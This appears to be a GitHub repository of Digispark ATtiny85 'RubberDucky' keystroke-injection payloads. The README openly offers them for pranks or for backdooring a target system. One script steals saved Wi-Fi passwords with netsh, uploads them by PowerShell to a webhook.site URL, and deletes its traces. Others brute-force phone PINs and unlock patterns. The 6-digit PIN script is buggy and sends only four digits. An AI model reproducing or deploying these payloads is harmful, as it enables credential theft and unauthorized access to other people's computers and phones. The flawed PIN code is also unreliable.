├── Banner.png ├── Mobile Unlock Scripts ├── 4 Digit Pin.ino ├── 6 Digit Pin.ino └── Pattern.ino ├── README.md └── Wifi-Password Stealer └── wifiii_ino.ino /Banner.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/arunsanjeevms/Digispark-Scripts/c8972c611bd8cc33b5238e1bb0cadb01028b4dad/Banner.png -------------------------------------------------------------------------------- /Mobile Unlock Scripts/4 Digit Pin.ino: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | 4 | // 4-Digit PIN Unlocker -- @arunsanjeevms-- // 5 | 6 | void setup() { 7 | DigiKeyboard.delay(500); 8 | DigiKeyboard.sendKeyStroke(0); 9 | } 10 | 11 | void loop() { 12 | static int attempts = 0; 13 | 14 | while (attempts < 5) { 15 | randomSeed(millis()); 16 | char pinStr[5]; 17 | for (int i = 0; i < 4; i++) { 18 | pinStr[i] = random(10) + '0'; 19 | } 20 | pinStr[4] = '\0'; // Null terminator 21 | DigiKeyboard.print(pinStr); 22 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 23 | DigiKeyboard.delay(2000); 24 | attempts++; 25 | } 26 | 27 | attempts = 0; // Reset attempts counter 28 | DigiKeyboard.delay(30000); // 30 Secs Delay 29 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 30 | } 31 | -------------------------------------------------------------------------------- /Mobile Unlock Scripts/6 Digit Pin.ino: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | // 4-Digit PIN Unlocker -- @arunsanjeevms-- // 4 | 5 | void setup() { 6 | DigiKeyboard.delay(500); 7 | DigiKeyboard.sendKeyStroke(0); 8 | } 9 | 10 | void loop() { 11 | 12 | static int attempts = 0; 13 | 14 | while (attempts < 5) { 15 | randomSeed(millis()); 16 | char pinStr[7]; 17 | for (int i = 0; i < 6; i++) { 18 | pinStr[i] = random(10) + '0'; 19 | } 20 | pinStr[4] = '\0'; 21 | DigiKeyboard.print(pinStr); 22 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 23 | DigiKeyboard.delay(2000); 24 | attempts++; 25 | } 26 | 27 | attempts = 0; 28 | DigiKeyboard.delay(30000); // 30 Secs Delay 29 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 30 | } 31 | -------------------------------------------------------------------------------- /Mobile Unlock Scripts/Pattern.ino: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | // Patttern Unlocker -- @arunsanjeevms-- // 4 | 5 | int repeat = 5; 6 | int phonePattern[4] = {0, 3, 6, 7}; 7 | 8 | void setup() { 9 | DigiCombo.begin(); 10 | 11 | //Touch to awake the phone 12 | DigiCombo.tapSingle(5000, 5000); 13 | DigiCombo.tapSingle(5000, 5000); 14 | // 15 | 16 | DigiCombo.delay(2000); 17 | 18 | // Swipe up for going to draw pattern any 1 percent in 25ms 19 | for (int i = 0; i < 4000; i += 100) { 20 | DigiCombo.moveFinger(5000, 7000 - i); 21 | } 22 | 23 | DigiCombo.release(); 24 | DigiCombo.delay(2000); 25 | } 26 | 27 | void loop() { 28 | if (repeat == 0) { 29 | DigiCombo.delay(1000); 30 | return; 31 | } 32 | 33 | // Place of point in lockscreen 34 | // y = 1: 4100, 2: 5300, 3: 6500 35 | // x = 1: 2500, 2: 5000, 3: 7500 36 | int selectedPointIndex[4] = {0, 0, 0, 0}; 37 | 38 | for (int i = 0; i < 4; i++) { 39 | // Select unique point 40 | while (true) { 41 | int pointIndex = repeat != 1 ? (random() % 9) : phonePattern[i]; 42 | selectedPointIndex[i] = pointIndex; 43 | 44 | int count = 0; 45 | for (int j = 0; j <= i; j++) { 46 | if (selectedPointIndex[j] == pointIndex) count++; 47 | } 48 | 49 | if (count == 1) break; 50 | } 51 | 52 | DigiCombo.moveFinger(2500 + (selectedPointIndex[i] % 3) * 2500, 4100 + (selectedPointIndex[i] / 3) * 1200); 53 | } 54 | 55 | DigiCombo.release(); 56 | DigiCombo.delay(1000); 57 | 58 | repeat--; 59 | } 60 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |

2 | 3 |
4 | 5 |

6 | 7 | 8 |

🦆 DigiSpark Attiny85-RubberDucky

9 | 10 | For people who can't buy or are too cheap to buy RubberDucky, DigiSpark Attiny85 is the solution to their problems. Because it's possible to use it as HID thanks to "DigiKeyboard.h" it can be used as a keyboard to send keystrokes to computers / Mobile Phones, which can be used for pranking your people to creating a backdoor in the target system. 11 | 12 |

🤔 What's here?

13 |
  • I have created this repo for sharing my payloads for DigiSpark Attiny85. All the payloads are tested on Attiny85 and created on Arduino IDE. 14 |
15 |

⚠️ DISCLAIMER

16 |
    17 |
  • All the software/scripts/applications/things in this repository are provided as is, without warranty of any kind. Use of these software/scripts/applications/things is entirely at your own risk. The creator of these softwares/scripts/applications/things is not responsible for any direct or indirect damage to your own or definitely someone else's property resulting from the use of these software/scripts/applications/things. 18 |
19 | -------------------------------------------------------------------------------- /Wifi-Password Stealer/wifiii_ino.ino: -------------------------------------------------------------------------------- 1 | /* 2 | .-----------------------------. 3 | | Tool : WIFI-PASS STEALER | 4 | | Github : ️@arunsanjeevms | 5 | '-----------------------------' 6 | */ 7 | 8 | 9 | #include "DigiKeyboard.h" 10 | #define KEY_DOWN 0x51 // Keyboard Down Arrow 11 | #define KEY_ENTER 0x28 //Return/Enter Key 12 | 13 | void setup() { 14 | pinMode(1, OUTPUT); //LED on Model A 15 | } 16 | 17 | void loop() { 18 | 19 | DigiKeyboard.update(); 20 | DigiKeyboard.sendKeyStroke(0); 21 | DigiKeyboard.delay(3000); 22 | 23 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); //run 24 | DigiKeyboard.delay(100); 25 | DigiKeyboard.println("cmd /k mode con: cols=15 lines=1"); //smallest cmd window 26 | DigiKeyboard.delay(500); 27 | DigiKeyboard.delay(500); 28 | DigiKeyboard.sendKeyStroke(KEY_SPACE, MOD_ALT_LEFT); //Menu 29 | DigiKeyboard.sendKeyStroke(KEY_M); //goto Move 30 | for(int i =0; i < 100; i++) 31 | { 32 | DigiKeyboard.sendKeyStroke(KEY_DOWN); 33 | } 34 | DigiKeyboard.sendKeyStroke(KEY_ENTER); //Detach from scrolling 35 | DigiKeyboard.delay(100); 36 | DigiKeyboard.println("cd %temp%"); //going to temporary dir 37 | DigiKeyboard.delay(500); 38 | DigiKeyboard.println("netsh wlan export profile key=clear"); //grabbing all the saved wifi passwd and saving them in temporary dir 39 | DigiKeyboard.delay(500); 40 | DigiKeyboard.println("powershell Select-String -Path Wi*.xml -Pattern 'keyMaterial' > Wi-Fi-PASS"); //Extracting all password and saving them in Wi-Fi-Pass file in temporary dir 41 | DigiKeyboard.delay(500); 42 | DigiKeyboard.println("powershell Invoke-WebRequest -Uri https://webhook.site/cdbb924a-e032-48a7-ac4e-62d10b367e0c -Method POST -InFile Wi-Fi-PASS"); //Submitting all passwords on hook 43 | DigiKeyboard.delay(1000); 44 | DigiKeyboard.println("del Wi-* /s /f /q"); //cleaning up all the mess 45 | DigiKeyboard.delay(100); 46 | DigiKeyboard.println("exit"); 47 | DigiKeyboard.delay(100); 48 | 49 | digitalWrite(1, HIGH); //turn on led when program finishes 50 | DigiKeyboard.delay(90000); 51 | digitalWrite(1, LOW); 52 | DigiKeyboard.delay(5000); 53 | 54 | } --------------------------------------------------------------------------------